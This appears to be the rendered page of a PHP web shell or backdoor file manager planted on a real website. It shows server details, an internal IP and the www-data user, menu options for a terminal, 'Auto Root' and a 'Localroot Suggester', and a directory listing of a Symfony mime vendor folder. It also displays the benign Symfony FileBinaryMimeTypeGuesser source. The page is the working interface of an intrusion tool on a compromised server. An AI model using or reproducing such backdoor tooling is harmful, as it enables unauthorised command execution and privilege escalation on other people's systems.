Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
mime /
Delete
Unzip
Name
Size
Permission
Date
Action
Crypto
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Encoder
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Header
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
HtmlToTextConverter
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Part
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Resources
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
Address.php
3.63
KB
-rwxrwxr-x
2026-03-30 09:31
BodyRendererInterface.php
418
B
-rwxrwxr-x
2026-03-30 09:31
CHANGELOG.md
935
B
-rwxrwxr-x
2026-03-30 09:31
CharacterStream.php
9.15
KB
-rwxrwxr-x
2026-03-30 09:31
DraftEmail.php
1.1
KB
-rwxrwxr-x
2026-03-30 09:31
Email.php
15.33
KB
-rwxrwxr-x
2026-03-30 09:31
FileBinaryMimeTypeGuesser.php
2.18
KB
-rwxrwxr-x
2026-03-30 09:31
FileinfoMimeTypeGuesser.php
1.75
KB
-rwxrwxr-x
2026-03-30 09:31
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-30 09:31
Message.php
4.59
KB
-rwxrwxr-x
2026-03-30 09:31
MessageConverter.php
5.04
KB
-rwxrwxr-x
2026-03-30 09:31
MimeTypeGuesserInterface.php
826
B
-rwxrwxr-x
2026-03-30 09:31
MimeTypes.php
195.72
KB
-rwxrwxr-x
2026-03-30 09:31
MimeTypesInterface.php
777
B
-rwxrwxr-x
2026-03-30 09:31
README.md
459
B
-rwxrwxr-x
2026-03-30 09:31
RawMessage.php
2.63
KB
-rwxrwxr-x
2026-03-30 09:31
composer.json
1.49
KB
-rwxrwxr-x
2026-03-30 09:31
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\LogicException; /** * Guesses the MIME type with the binary "file" (only available on *nix). * * @author Bernhard Schussek <bschussek@gmail.com> */ class FileBinaryMimeTypeGuesser implements MimeTypeGuesserInterface { private string $cmd; /** * The $cmd pattern must contain a "%s" string that will be replaced * with the file name to guess. * * The command output must start with the MIME type of the file. * * @param string $cmd The command to run to get the MIME type of a file */ public function __construct(string $cmd = 'file -b --mime -- %s 2>/dev/null') { $this->cmd = $cmd; } public function isGuesserSupported(): bool { static $supported = null; if (null !== $supported) { return $supported; } if ('\\' === \DIRECTORY_SEPARATOR || !\function_exists('shell_exec') || !\function_exists('escapeshellarg')) { return $supported = false; } return $supported = '' !== trim(shell_exec('command -v file') ?: ''); } public function guessMimeType(string $path): ?string { if (!is_file($path) || !is_readable($path)) { throw new InvalidArgumentException(\sprintf('The "%s" file does not exist or is not readable.', $path)); } if (!$this->isGuesserSupported()) { throw new LogicException(\sprintf('The "%s" guesser is not supported.', __CLASS__)); } // need to use --mime instead of -i. see #6641 $type = trim(shell_exec(\sprintf($this->cmd, escapeshellarg((str_starts_with($path, '-') ? './' : '').$path))) ?: ''); if (!preg_match('#^([a-z0-9\-]+/[a-z0-9\-\+\.]+)#i', $type, $match)) { // it's not a type, but an error message return null; } return $match[1]; } }